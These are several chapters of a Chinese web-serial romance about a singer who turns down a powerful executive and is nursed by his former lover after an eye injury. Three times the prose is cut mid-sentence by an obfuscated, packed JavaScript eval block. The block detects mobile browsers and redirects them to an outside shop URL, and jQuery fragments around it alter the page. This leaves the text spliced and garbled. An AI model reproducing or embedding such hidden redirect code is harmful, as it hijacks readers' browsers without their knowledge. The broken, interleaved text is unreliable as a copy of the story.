有许多人享受被喜欢的虚荣,甚至操纵暧昧,以换得更多的爱或钱。但易卿尘做不到,但凡今后回忆往事时会让自己觉得不齿的,他都不愿去做。 “我……”易卿尘鼓起了些许勇气,一字一顿,“言哥,我给不了你想要的东西。” 楚言的眼里晶莹的东西又浮了上来,云絮缭绕。许是没想到易卿尘的态度如此明白坚决,令他微微有些吃惊,毕竟他这辈子也没被人直接拒绝过。 过了一会儿,他轻轻地叹了口气,说道:“我知道。我都知道的。小尘,如果你告诉我,你喜欢什么,我也许都能给你呢?……” “对不起。言哥,你是最标准的答案,什么都好,只是,我不是你的考题。” 易卿尘是发自内心这么觉得,并不是客套地发好人卡。 不管对象是谁,楚言的青睐都是极其珍贵的。这个男人的喜欢从未浮于表面,总是落实在行动上,尽他所能,去成就对方。 楚言是对仗押韵的诗篇,完美得无懈可击。可易卿尘却偏爱放肆飞扬的潦草。 楚言的隐忍克制从来不是易卿尘的解药。 “……我可以等你,虽然我已经37岁了,可生命不浪费也是会过的。”楚言突然盯牢他,“小尘,你和他是不会有结果的,他太年轻了,那样的锋芒,只会让你受伤。” 这个“他”指的是谁,两个人都心知肚明。 易卿尘看着楚言的眼睛,酒后的他仿佛卸下一层外壳,脆弱又执拗。那双眼睛里有着对他沉甸甸的疼惜。 他心疼他,不是装的。 易卿尘的心被攥紧了,拧出深蓝色的心酸。 “言哥,这不关他的事,我和他也是不可能的……” 拒绝一个高高在上、深情款款的人是很难的。尤其是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971397|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个人还掌握着自己的前程命运。谁都知道,做了总裁的人,今后会如何风光。 易卿尘要拒绝的不只是一段感情,更是一种抄近路向上攀登的可能性,承担的是拒绝后一无所有的后果。 虽然楚言不拿权力当筹码,但权力就实打实地捏在他手里,他不必明说。只要他动动手指,娱乐圈明天就不会再有易卿尘这个人,他的一切都可以被抹掉。 都说权力是最好的春药,多少人想要把自己献给楚言。他易卿尘凭什么拿乔?又怎么敢造次? 楚言俯过身子,凑近了他的脸颊,酒精混合着古龙水的诱惑味道笼罩着易卿尘,男人抓住了他的手,用低沉浑厚的声音说道:“易卿尘,你不用再一个人逞强,让我照顾你吧。” 嗡——易卿尘觉得眼前的画面在晃动。 楚言光风霁月,是人中翘楚,能看上他,这是何等泼天的幸运? 易卿尘自打出生就是老天爷的弃子,却没想过了二十多年,还有这样的感情机遇。一条通天大路摆在面前,一切就在易卿尘的一念之差。 换了旁人,不会犹豫哪怕一秒钟。 也许他就应该俯首帖耳、感激涕零,抓住命运抛给他的橄榄枝,欢天喜地的做楚言的一朵解语花。从此要风得风,要雨得雨,兴许一辈子就这么安稳富足的过了。 楚言深情的目光让他喘不过气,也许,他真的应该答应他…… 思绪混乱,倏忽间,眼前浮现出杨原野的脸,易卿尘的心尖陡然像被掐了一下。 杨原野像是他的蛊,一个眼神就能让他快乐,一句话就足够令他悲伤。他甚至不需要拥有他,也无需任何附加价值,杨原野本身的存在就会让易卿尘胸膛那颗血污的心脏维持有力的跳动。 他对杨原野是爱,对楚言有敬有怕有感恩,却没有爱。爱从来不是比较之后得出的结果,也没法解释。 “你不想说话,就点点头?”男人再一次欺近,薄唇就快吻上他的鼻尖。 易卿尘猛地抽出手,站了起来。“不,言哥,真的对不起。”他仓惶地挪开视线,试图说些什么掩饰慌乱,“我要怎么做能让你感觉好一点儿呢?” 楚言怔然半天才回过神来,对他扯出一丝无奈的苦笑,说道:“没关系,不急……小尘,你去给我倒一杯温水吧。” 看着易卿尘站在厨房倒水的背影,楚言默默地观察他,暗自捏紧了拳头。 资本丛林、欲望都市,他纵横捭阖这些年,从不打没把握的仗。而他对易卿尘的怦然,最终也要落脚于征服和拥有。 今天并不是一个剖白心意的好时机,可既然易卿尘看破了这层朦胧,楚言索性敞开心扉,露出伤口。他清楚地知道,权力者的失控和脆弱才是最能让人沉迷的,谁不想成为一头老虎唯一的软肋?这种虚荣感,没几个人能不上瘾。 易卿尘今天抵抗得了,那是因为天平的另一边是未了的旧情。前缘不怕再续,覆辙定会重蹈。等易卿尘再次在杨原野那里碰壁,旧情彻底死透,他就会乖乖的回来,臣服于权力与温柔。 这次,易卿尘问“怎么做能让你感觉好一点”;下次,他自己就会知道答案,并主动讨好他。 想到这儿,楚言的眸光露出复杂的神色,意味深长地扬了扬唇角。 57.057 复出 “叮咚——” 杨原野按响了季淮山家的门铃,只过了几秒钟,伴随着一阵急促的脚步声,门开了。季淮山一张春风荡漾的脸,在看见杨原野的那一刻毫不掩饰地换成了一脸嫌弃。 “怎么是你?” “靠,你不是说让我有事儿没事儿都找你?我来了你又一副臭脸。” 杨原野径直脱了鞋进屋,垂直地一头砸进季淮山家岩灰色的宽大布艺沙发里。 屋子明显被特意收拾过了,几只靠枕井井有条地在沙发上列队,海马毛的地毯干净如新,茶几上的电视遥控器、空调遥控器、窗帘遥控器并排摆在米白色双耳托盘里,三只遥控器的上沿对得整整齐齐。 环绕立体声的音响送来似有若无的轻音乐,开放式厨房飘来一阵肉香味儿,炉上的珐琅锅咕嘟咕嘟冒着泡。杨原野耸了耸鼻子,抬起脑袋,问:“季淮山,你在……做饭?” 季淮山指了指身上的围裙:“红酒烩牛尾,可惜没你的份。” “你约了人?怪不得整间屋子都是你发情的气息。老子走了,你特么不早说。” 杨原野从沙发上弹射起来,可以力度没控制好,直接撞到季淮山的身上,好在季淮山伸手控制住了他。 这时,传来大门被推开的声音,伴随着一道熟悉的人声: “怎么不关门呀?用不着这么欢迎我吧?” 视线定格在沙发边的两个人身上,江鸿怔愣当场,只见杨原野半挂在季淮山脖子上,手里揪着围裙的颈带。 “呃……我来的不是时候?” 季淮山嗖地往后一退,差点儿把杨原野推个跟头。 “没,小野是我哥们儿,他这就走了。” 杨原野一脸懵逼地看着江鸿,又瞅瞅季淮山,目光来回打乒乓球。一个著名作家,一个离婚律师,这俩人是怎么扯上关系的? “江老师,你和季淮山在约会?” “哎?打住!”江鸿抬了抬手,“我跟他是仇人,今儿就是来还他衣服的,不要乱说。” 说罢,江鸿把手中的两只袋子放在玄关的矮柜上,俯身把袋子的左右对齐,之后直起腰,潇洒地一甩头:“走了啊!” 杨原野已经被季淮山的眼箭射穿,感觉自己即将小命不保,几大步冲到门口赶在江鸿之前关上了门。 “江老师别走。我,我有一个情感问题需要你帮忙。拜托了!” 连拉带拽,终于把江鸿留了下来。 季淮山松了口气,转身去厨房开心地忙活起来。 墨绿色天然大理石餐桌上摆着香喷喷的红酒烩牛尾,葡式茄汁焗意粉,考伯沙拉,冒着气泡的玫瑰葡萄酒,外加新买的黄铜烛台。 季大律师难得如此费心,只可惜没料到最后要拿出三人份的餐具。 大家坐在餐桌旁, “你怎么了?失恋了?”季淮山问道。 杨原野丧丧着脸,摇摇头,拿叉子送了一块小番茄到嘴里:“能失恋就好了。我今天算是知道了,吃不着的醋,才是最酸的。” 作家江鸿一听就来了兴致:“呦!让我来猜猜!你暗恋一个人,结果人家对你毫无兴趣,另有意中人?你一个人演独角戏,没人捧场,你还不甘心退场,对不对?” “啧……也对也不对。”杨原野说,“他也不是对我毫无兴趣。其实,他对我是非常非常好的。” 季淮山正色道:“在一段感情存续期间,开展另一段不正当关系,虽不违法,但违背公序良俗。” “呃。” 杨原野和江鸿同时向季淮山翻了个大白眼。 “别理那个木头,”江鸿转过头,“你接着说,他对你怎么好了?我听听。” “嗯,很多啊,他出钱帮我妹治病,背着我偷偷谋划帮我洗白复出,坐飞机当天来回给我过生日,永远在我最需要的时候出现,还有——” 江鸿打断他:“不用‘还有’了。你刚刚要是说什么生病叮嘱你吃药、天冷告诉你穿衣、偶尔送你小礼物那种,我就劝你趁早算了。就你刚刚说的这些,以我多如牛毛的恋爱经验来看,这人如果不是你爸,那就是想当你老婆。” 杨原野眼睛一亮:“绝对不是我爸!” 季淮山插言:“你的那个他是不是已婚的风月老手?很多人对第三者都比对原配更慷慨体贴。” “扯什么咸鸭蛋,我不是小三!”杨原野急了。 “这就怪了,顺理成章、佳偶天成的好事儿,你唉声叹气干嘛?他对你全心全意,那你是怎么回应的?”江鸿好奇地问。 杨原野想了半天,底气不足地说:“我,好像就,经常对他发脾气,总凶他……” 最怕空气突然安静。 江鸿和季淮山默默对视了一眼,双双举起面前的起泡酒,捷克水晶杯发出悦耳的轻撞。 江鸿:“活了个大该。” 季淮山:“维持原判。” 杨原野突然开窍了:我要从今天开始改变自己。 - 博博发现这几天送子车的气氛有了显著提高。 易老师一上车小野哥就笑着打招呼,易老师还没下车小野哥就主动帮他抱琴拿包。此时此刻,两人正戴着同一副耳机听歌,外加“传纸条”。 【yyy:我这段beats改得好吗?】 【易卿尘:挺好的 [大拇指]】 【yyy:今天比昨天还热】 【易卿尘:啊对。】 【yyy:比赛加油 [小黄鸭笑脸.jpg]】 【易卿尘:你也是】 【yyy:小尘】 【易卿尘:嗯?】 【yyy:没事儿,叫叫你。】 易卿尘掩不住的笑意从眼眸里漾出来,看向窗外,天气可真好,一切都很好。 今晚是第五期正式比赛录影。由于前三期的播出,节目热度持续攀升,录制现场座无虚席。 蓝色的“尘”字灯牌的规模明显变大,还多了写着各种口号的横幅,再不是当初零零散落的样子。 另一处异军突起的是红色的“野”字阵营,粉丝们戴着红白相间的发带,口号喊得气势汹汹。红蓝是毗邻的热烈。 还有一小撮彩虹色灯牌的粉丝,远远地挤在段朗星的粉丝团旁边。彩虹色的[原野星尘]灯牌是一闪一闪的“的士高”风格,每人都带着一脸轻松的姨母笑,可谓现场最放飞的粉丝团体。 耳机里是骆佳滨导演的声音,倒计时五四三二一。舞台灯光瞬间全部亮起,乐队、和声、伴舞同时表演,盛大热烈地拉开了本场的大幕。 《少数人走的路》前奏响起,六位已经晋级的唱作人逐个出场表演,每个人都在突破原本的自己,引得观众席一阵又一阵的惊呼。 一辆橙红色的上世纪复古老爷车开到舞台中央,从车里走下来的青年一身满logo赛车服,镜头前,黑色低檐帽遮住了他半张脸,橙色墨镜酷炫反光。 随着鼓点响起,他的手腕轻搭上立麦,一张口,rap flow行云流水,音色慵懒迷人。镜头拉近,歌手摘了墨镜,一个wink引得全场沸腾爆炸。 “易卿尘——我爱你——” 粉丝台传来疯狂的尖叫。 接着开场秀的是第一位补位踢馆歌手的亮相演唱,一首怀旧爵士歌曲之后,舞台突然全黑,一束追光照亮了一个高挑的背影,接着传来一段吉他solo,技法纯熟,从琴弦里流出了鲜活热烈而有生命力的旋律。 一个转身,第一句歌词同时响起,舞台正中心一颗巨大的星星造型,闪出耀眼的光芒。 命运的齿轮重新咬合转动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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最高兴的当属博博了,吴芷静也赞他是一员福将。福将high到飞起,竞演结果一出他就订了“老京北涮羊肉”当晚庆功。 姬波、吴芷静、杨原野、易卿尘还有博博自己,五个人,一人一个小铜锅。亮金铜色的锅子底下烧着炭,双挂耳铜锅里咕嘟咕嘟地冒着热气,锅子中心耸起一座黑褐色的小烟囱,用来排烟。 古色古香、木桌木椅,热气腾腾,弥漫在空气中的骨汤香气让人胃口大开。 博博端着一盘羊肉给大家介绍道:“这可是苏尼特羔羊的大三叉,手切的,可好吃了!据说啊,这羊都得在锡林郭勒大草原天然放养180天才能上桌呢!” 姬波是个老饕,一摆手,“哎~那些都是宣传噱头,到底怎么样,还得靠你姬哥这张嘴,给你鉴定鉴定!” 杨原野夹了一筷子大三叉,在铜锅里涮熟了,又蘸上辣椒油,放到姬波盘子里。 姬波笑道:“你小子,今儿整得挺好!”说着将那口涮肉放进嘴里,肥瘦相间,没有任何膻味,嚼着嚼着还吃出奶香来。 “怎么样,姬哥?”博博期待地问。 “这只肯定不是放养180天的,”姬波说,“至少得181天!” “哈哈哈!”大家都笑。 “来,我提一杯,”吴芷静举起杯,“首先欢迎师父回京北!也恭喜两个小朋友顺利晋级,还要感谢博博这个小福星!这些天大家都辛苦了,咱们以后啊,都会越来越好的!” “干杯!” 晶莹剔透的汤底,略带金黄的油花,垂涎欲滴地荡漾开来。空气中是肉香和草木香交织绵延的鲜美。大家推杯换盏,好不开怀。 易卿尘坐在姬波的左侧,他总觉得姬哥对大家都很热情,独独对他,明显比别人冷淡了五分。不知道是不是自己过分敏感。 58.058 洗澡 薄如蝉翼的肉片轻触热汤,瞬间变色,奶白的豆腐在汤中浸泡,吸饱了滋味。 易卿尘一抬眼,碗碟里便落了一颗橘红色的虾仁,看起来饱满弹牙。杨原野正冲着他傻乐。这人这几天对他特别殷勤讨好。 果然,某人当了几年人夫,变得会疼人了。 他奶奶的。 易卿尘心中感慨,自己没赶上好时候,只能看着别人的老公流口水。 “哎?我这个炉子有点儿怪声,你们听?”姬波指着面前的小碳锅,一脸疑惑。 易卿尘凑过去侧耳听了听,“还真是,汤也不滚了。好像是炭火的问题,我帮你调整调整。” 姬波往后退了退,易卿尘站起身,轻轻拨开铜锅中间的烟道盖子,拿一根筷子伸进去,感觉到筷子碰到底下的碳块儿,发出闷闷的类似爆竹声音。 易卿尘觉得奇怪,脑袋探过去,通过烟道试图看清底下的情况。 跟着不大不小的一声爆鸣,易卿尘忽然眼前一热,一阵刺痛,身子向后躲闪,却已经来不及。 痛感加剧,他蹲了下去。 易卿尘听见其它众人的惊叫声,接入闻到一股煤炭的烟味。眼睛很痛,易卿尘下意识地用手去摸眼睛,只听姬波厉声喝道:“千万别揉!” 心中一急,易卿尘伸手在面前乱抓,立刻被一只手紧紧握住了。眼前一片漆黑,心里怕得狠,易卿尘紧紧捏着那只手不放。 “打电话,叫救护车!快!!”杨原野大叫,近在耳侧,那只手也狠狠地握紧了他。 包间内乱作一团。 易卿尘听到有人从跑进跑出,听见吴芷静给急救中心打电话,听见博博边哭边自责,听见姬波大吼着让博博冷静…… 完了,他要瞎了。 很快,易卿尘感到一只手臂伸进自己的膝窝,把他抱了起来。抱着他的人健步如飞,在颠簸中,他惊惶地揽住对方的脖子。 他应该是被放在了救护车的担架床上,平躺着,他又抬手往前摸,却摸到了一个白大褂。白大褂冰冷冷的质感很不同,他摸了就知道了。他惊觉,人竟然可以靠触觉辨别物品和颜色。 一瞬间,易卿尘差点哭出来。 如果下辈子就这么摸来摸去,要怎么生活。 白大褂按着他的头,扒开眼皮,易卿尘还是什么也看不见,但能感觉到有液体在冲洗自己的眼睛。 手又再次被抓紧,杨原野焦急的声音响在耳边:“就快到医院了,你感觉怎么样?” 易卿尘喉咙发紧,什么也说不出来,只是紧抓着杨原野的手不放。 一个陌生的声音响起,该是白大褂:“不是很厉害,他不想说话就先别说。” 听到这句“不是很厉害”,易卿尘的心稍微稳定一些,只要不瞎,怎么都好。 “阿野……”易卿尘声如蚊吶。 “不怕,我在呢。”杨原野的两只手紧紧合着易卿尘的手,他发觉杨原野的手心里全是汗。 不一会儿,鼻子嗅到医院特有的味道,移动式担架下了车,他被推到了急诊室。 医生开始给易卿尘洗眼,涂药,易卿尘感觉到纱布和胶带覆在他的眼睛上。 “替他洗过眼了,问题不大,只是一些热煤灰,没有碎片。右眼更严重一点儿,不过都没事儿。”一个中年男医生跟杨原野介绍着情况。 “我不会失明?”易卿尘紧张地问,“会影响视力吗?” 医生见惯大世面,语气轻松地说:“这不至于。明天应该就能看见了,但是保险起见,回家先休息两天,不要用眼。” 易卿尘点点头,吁了口气,眼前漆黑一片,可是一颗心却安定了。 “家属过来,我跟你说说怎么换药,回去之后要注意些什么。”一个女护士冲杨原野招呼道。 易卿尘听见杨原野凑近他耳边,安抚着说:“小尘,我跟护士出去一下,你在这儿,博博他们马上就到了。” 易卿尘点点头,既然不会瞎,他也不想让大家为他担心。 不一会儿,姬波、吴芷静、博博急促的脚步声打破了诊室的安静,易卿尘感到身前的空气流动了起来,他被他们围在中间,嘘寒问暖。易卿尘一一答了,努力地对他们挤出几个微笑,安慰大家别担心。 大家见他这样的状态,都很明显地松了一口气。 “你看不见太不方便了,得有个人照顾你,博博,你这几天就去陪小易住吧。”吴芷静说道。 “嗯!这全都怪我选的破地方,我对不起你,易老师,我一定将功补过,把你照顾得妥妥帖帖。”博博信誓旦旦,做着个发誓的手势。 易卿尘刚想答应你的请求,杨原野冷硬的声音由远及近:“我自己会照顾他,不用别人。” 博博委屈巴巴:“小野哥,你生气了吗……” 女护士没注意到某人严肃的气场,笑意晏晏地在一旁指着杨原野说:“这小伙子刚学得可认真了,我这儿也挺忙的,没时间教两遍,谁照顾患者谁就学一下护理知识啊,你们自己看,没问题可以走了。” 易卿尘的胳膊被抓着,被动环住杨原野的脖子,身下一轻,后背和腿窝被兜住抱起来。杨原野一言不发,抱着易卿尘就往外走。 身后传来姬波的嚷嚷:“这孩子,你说说,都是意外,这跟谁掷什么气呢!再说,他腿又没坏,你牵着他就行了,非抱他干嘛?喂!” 杨原野直接把他的话当耳旁风。 八月的夜风拂上脸颊,仍是温暖。易卿尘的额发被风吹起,肋下抱着他的胳膊结实有力,心中的紧张缓解了不少。 “京北出租车欢迎您,请系好安全带。”一个机械女声从前方传来,杨原野抱他上了一辆出租车。 并排坐在后座,易卿尘时不时地碰上杨原野的肩。身旁的气压很低,一路沉默。 易卿尘眼前一片漆黑,耳畔只有交通广播的声音。 受不了这样低沉的气氛,过了一会儿,易卿尘探出手摸到了杨原野的衣角,轻轻拉了下,问道:“你怎么了?” 对方不应。 易卿尘的屁股往右挪了挪,离人更近了:“怎么不理我了?” 半晌,杨原野的大手覆上了他的手,他听见他暗哑的声音,似有千斤重:“你要是真的看不见了,我做你的眼睛。” 啊,心跳好大声。 没被听到吧? “你少咒我,医生都说了我没事……”易卿尘边说边感觉脸颊在发烧。 某人好像真的很在乎他。 …… 许是药膏里含有麻药成分,易卿尘觉得眼睛不那么痛了,两个眼珠子麻酥酥的,往外胀着。杨原野把他放在沙发上,不远处响起热水壶烧水的轻微啸声。 为了开门,他刚刚不得不告诉杨原野他的大门密码。易卿尘看不见对方的反应,他想解释两句,又怕此地无银三百两,越描越黑。况且,他真不知道怎么解释,干嘛要用杨原野的生日呢。 易卿尘站起身来,尝试挪动几步,小腿砰地磕在茶几一角,疼得他发出一声闷哼。 “你干什么呢?”杨原野的声音从厨房方向传来。 易卿尘小声嘟囔:“去厕所。” “什么?听不见。”杨原野问。 易卿尘闭上眼睛,屈辱地提高了音量:“我要去厕所。” 真后悔在医院的时候为什么没坚持让博博来同住,照顾自己。 被带到马桶前,杨原野伸手解他的腰带,金属锁头从皮带扣眼儿里拔出来,发出特有的脆硬的声响。易卿尘慌忙按住他的手,说:“行了,我自己来,你出去!” 一声嗤笑跟着暧昧的音调:“害羞了?你有什么是我没见过?” 易卿尘耳朵发烧,咬着下唇,小声说:“那你才更应该出去,快出去。” 他猜想自己此刻站在马桶前,拼死护住裤子的样子一定很悲壮,像个贞洁烈士。 好不容易完成了一次艰难的小解,易卿尘暗暗决定,这两天一定要少喝水。 杨原野在屋里忙来忙去,传出乒乒乓乓的声音,易卿尘不知道他在搞什么,只倚在沙发上听电视。 没有视力的世界草木皆兵,其它的感官都瞬间进化得更加灵敏,以弥补失去视力的迟缓。 此刻,易卿尘的嗅觉占了上风,铜锅涮羊肉的味道充斥在每一根头发丝里。火锅的悖论是,吃的时候香,吃完身上臭。 他浑身上下都是羊肉味,仿佛已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13002954|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经变身成了那只在锡林郭勒草原上溜达了181天的羔羊。妈的,他要被自己膻死了。 忍了好一阵子,易卿尘终于受不了了。他对着面前的空气喊了声:“阿野,你在哪儿?” 里屋传出杨原野的声音:“怎么了?” “你过来……”三个字,音量递减。 拖鞋声越来越近,停在自己面前:“怎么了?” 易卿尘咽了口唾沫,说道:“你不是智商150吗?我有个难题要考考你。” “说来听听。” “你有没有什么办法,可以既帮我洗澡,又不用目睹我‘隐私’的?” “什么意思?” 这怎么还听不明白呢,杨原野一定是故意的。 “……就是,男男授受不亲的意思。” 说完,他听见杨原野哂笑的声音,又一阵屈辱上涌。 “我正给你放洗澡水呢。你这个要求前半部分好说,后半部分有点儿难办。你总不能穿着裤子洗澡吧?” “啊,那我今天又不想洗了,等我眼睛好了再说吧……” 杨原野想了想,福至心灵,说道:“你乖乖在家等我,我马上就回来。” “嗯。” 人看不见的时候,就会倾向于同意、无条件信任。 不到半小时,密码锁的滴滴声流畅自然,门开了。 关门的声音,脱鞋的声音,然后又是一阵水声从里间传出来。 杨原野扶着易卿尘来到浴缸旁边,执着他的手往下一探,易卿尘感到指尖碰到一阵潮湿细密:“是,泡沫?” 浴缸里被倒进去半瓶泡泡沐浴露,此刻的浴缸像是一片洁白绵软厚实的云朵,空气中充斥着甜美浓郁的柑橘香。 泡沫像是一张白色云朵被子,可以完美地遮住某人的隐私。 易卿尘笑逐言开,由衷赞叹道:“你真是太聪明了!” 杨原野笑道:“自己脱衣服进去,好了喊我。” 为了防止眼睛碰水,杨原野取来“非礼勿视”眼罩给易卿尘戴上,挡住白色的纱布,双重保险。绵密雪白的泡沫中,易卿尘露出一个脑袋瓜,和半截香肩。 杨原野跪在浴缸边,认真地为易卿尘洗头发。 仰面躺在杨原野的手心里,随着一下又一下的揉搓、按摩,易卿尘觉得头皮在簌簌过电,心尖儿不由自主地轻轻打着颤。 这一刻的暧昧是他今夜作为“病人”的特权,这一片橘子味的云朵温柔地包裹着他。眼前是漆黑一片,他偷来一刻放松,在这小小的一方浴室,易卿尘有点飘飘然。 花洒的清水带走头上绵密的泡沫,杨原野用温暖厚实的毛巾擦着他的头发,他被照料得那样妥帖。 耳朵内外沾了的水也被轻轻擦去。 “一会儿水凉了要感冒的,我再给你加些热水。”杨原野关切的声音是那样动听,仿佛每一个韵脚都缱绻。 易卿尘从来不知道,杨原野如此会照顾人。四年过去,他好像再不是那个衣来伸手的少爷了。 失去视力的人少了一层羞怯,愈发放肆大胆了,情不自禁唤了声: “阿野。” “嗯?” “你要是没结婚就好了。” 擦头发的手蓦地停下了。 空气仿佛凝固了。 糟糕,易卿尘意识到自己逾矩了,怎么不小心把心里话说出来了? 都怪黑暗让他错乱,分不清现实和幻想,以至于醉在这迷人的暧昧里,醉在这橘子味的亲密里,丢了分寸。 他清了清嗓子,企图掩饰尴尬。杨原野不作声,易卿尘的心跳越来越快。 他绷紧了身子,坐在浴缸里,如坐针毡,想办法找补:“咳咳,你别当真,我是开玩笑的……” 黑暗中,杨原野缓缓地问: “我要是没结婚,你会怎么样?” 易卿尘紧张得去抓衣角,忘了自己什么也没穿。 他辨不出杨原野的语气,心慌意乱,下意识地伸手去摘眼罩,想看看对方的表情。 手腕一下子被捉住了,杨原野离他只有一厘米的距离,像是审讯:“易卿尘,坦白从严,抗拒更严。我要是没结婚,你会怎么样?” 59.059 想你 “不怎么样……我是说,你们已经结婚了,还有了小葵,你合该做个好丈夫好爸爸。其实没结婚也有没结的好处,比较自由……” 听听他自己在说什么,什么自由?随时来给他洗澡的自由吗? 易卿尘尴尬死了。 杨原野意味不明地轻笑了一声:“所以,这就是你之前所谓的道德底线?” “嗯……对,我……” 易卿尘光着身子支支吾吾,愈发没有安全感,他叠起膝盖抱在胸前,膝头沾着白色的泡泡,暴露在空气中,闪着七彩的光晕。 杨原野恍然大悟,他之前全想错了。易卿尘不是反对同性恋,而是觉得插足别人的婚姻太缺德。大约是之前在医院时让易卿尘产生的误会吧。别说结婚了,从始至终,他心里只有过这么一个人呀,一个丢掉他又回来的人,名叫易卿尘。 看易卿尘这害羞又紧张的模样,再想想重逢后他为自己所做的一切,杨原野相信,如果没有这层误会,易卿尘应该会愿意和他再试一试吧。 脑海中跳出一幅画面——易卿尘被邀请去家里做客,推开门,发现他以为的“一家三口”,女儿管爸爸叫哥,老公管老婆叫妈,一定会把他吓傻,那脸色会非常精彩,想想就觉得刺激死了。 杨原野强忍住想要立刻公布谜底的激动,决定要好好计划一番,表明单身只是第一步,后续如何趁热打铁,给易卿尘安全感,让他不会再因为任何原因把自己丢下,临阵脱逃,那才是重点。 上一次的结局,如果发生第二次,杨原野也怕自己会被击垮。 空气中的沉默着实有点儿久了,易卿尘搞不清状况,以为自己对有妇之夫说那种话太失礼,分分秒秒都难熬,他得想个说辞,让这part跳过去。 要不假装失忆?然后明早推说是眼药水的副作用。 思考间,易卿尘的脑袋忽然被一张宽大而柔软的浴巾盖住。杨原野的声音从严酷的审讯瞬间变得温柔软烂,像炖了一天的雪梨: “小尘,这一次我们慢慢来。” 易卿尘的大脑瞬间空白一片。 一百只蝴蝶在肚子里飞。 “啊……?” 他只是眼睛看不见,怎么耳朵也坏了…… 蝴蝶冲出胸腔,在黑暗中,那些闪烁其词、秘而不宣的情愫幻化成金色的汛期,轻轻煽动,搅乱易卿尘的思绪。 他的世界陷入秩序的瘫痪,任人摆弄。 戴着眼罩身子微微发抖,杨原野揉揉他湿漉漉的发丝,拿起花洒,给他冲掉泡沫,臂弯插进膝窝,稳稳地把他从浴缸里抱了出来。 杨原野一寸一寸地为他擦干身体,穿好内裤,换上睡衣。他又紧张又激动,至于“隐私”什么的,先不顾了吧,不行还是可以再装失忆的。 杨原野把他抱到椅子上,吹风机呜呜地在头顶响,修长的手指插进他的发间,轻柔地触碰着他的头皮。真丝睡衣带给身体一丝清凉的触感,易卿尘伸手往前探,摸到杨原野的腰,仗着眼瞎,把手搭在人家的腰上。 过后,杨原野给他热了一杯牛奶,插着吸管方便他吸。他乖巧地闷头一口气把牛奶全喝光了。 “还要吗?”杨原野问道。 易卿尘摇摇头。 杨原野轻笑一声:“好,那咱们刷牙。” 一支牙刷递到他手上,易卿尘一边刷牙,一边听着杨原野也在他身旁哧啦哧啦刷牙、咕嘟咕嘟漱口。这感觉他从来没有体会过,两个人一起洗漱,因为太过日常,反而让人小鹿乱撞。 “今晚一起睡。”杨原野很自然地通知他。 易卿尘一怔,吞了一大口牙膏。 “噢。” 他被抱进被子里,一侧头就能枕到杨原野的肩膀。房间里谁也没说话,只有墙壁挂钟秒针滴答的声音。 失去了视觉,一切全靠脑补。易卿尘搞不清楚状况,迷迷糊糊间,闻着杨原野身上清冽的气息,渐渐地进入了睡眠。 不知睡了多久,该是药劲儿过了,他的眼睛急剧地痛了起来,头也好疼,好像有个电钻在他太阳穴下开工。他痛得忍不住开始哼哼。 肩膀倏地被扣紧,他被捞进一个热气腾腾的怀抱里。一双宽厚的大手撑着他的后背,易卿尘贪婪地往怀里钻,紧紧贴住那个身体,埋首在对方的颈窝,用鼻尖蹭着、点着,仿佛那里有他的止痛药。 他听见床头灯被拉响的声音。复古座灯上的水晶垂饰会在墙顶反射出虹彩的颜色,易卿尘心里有那个画面,虽然眼前仍漆黑一团。 杨原野关切又紧张:“怎么了?告诉我哪里疼?” 易卿尘张了张嘴,嗓子哑得很,勉强发出几个音节:“……头疼,哪儿都疼。” 杨原野扶着他靠坐起来,伸出一只手来探他的额温,之后杨原野又用脑袋抵着他的额头,又试了一遍温度。 “是有点儿发烧。” 身旁的位子忽然一空,易卿尘下意识地抓住对方的手,心慌意乱。手背被拍了几下,他得到了抚慰才松开了手。 “来,张嘴。” 杨原野往他嘴里喂了几颗药,他服了药,又被放躺下。床头灯啪地一声关上了,反正都是黑暗,对他也没区别,杨原野在身边就好。 易卿尘恍惚间好像又睡着了,一阵冷一阵热,他身体难受,转过身去紧紧地搂住身边的人。 他枕着杨原野的手臂,好像在做梦。 梦里,他侧身攀附在那结实的身体上,伸出一只手抚摸着杨原野的脸颊,从头发到眉骨,沿着高挺的鼻梁往下,摸到两瓣薄唇,手指在那里辗转片刻,又向下探索,越过下巴,落在喉结处。 他感觉到杨原野的喉结在他指下滚了滚,带来一阵很奇异的感觉。他反复地抚摸他的喉结,细致柔情。小腹痉挛似地抽搐了一下。 呼,这个梦好真实。 耳畔呼吸渐重,杨原野一个覆身压在他身上,停了几秒,用低沉的声音问道: “易卿尘,老实回答我,这些年为什么不和我联络?” 联络?他怎么敢……如果当初不是走投无路,他怎么会放手离开?一旦离开了,他又怎么敢联系杨原野?哪怕只是再听见他的声音,都会忍不住要跑回来抱住他吧…… 在梦里是可以说实话的。 “我……我那时想好了彻底不再见你,怎么会和你联络呢?” 轻轻一声叹息后,杨原野用凄切的语调问道:“那,这些年有没有……想我?” 易卿尘胸意如堵,眼眶发热,想起这些年自己在渝州苦熬的日子,戚戚地说:“有……” 杨原野如见生机,急切地颤抖着声线追问:“有多想?” “很想很想……” 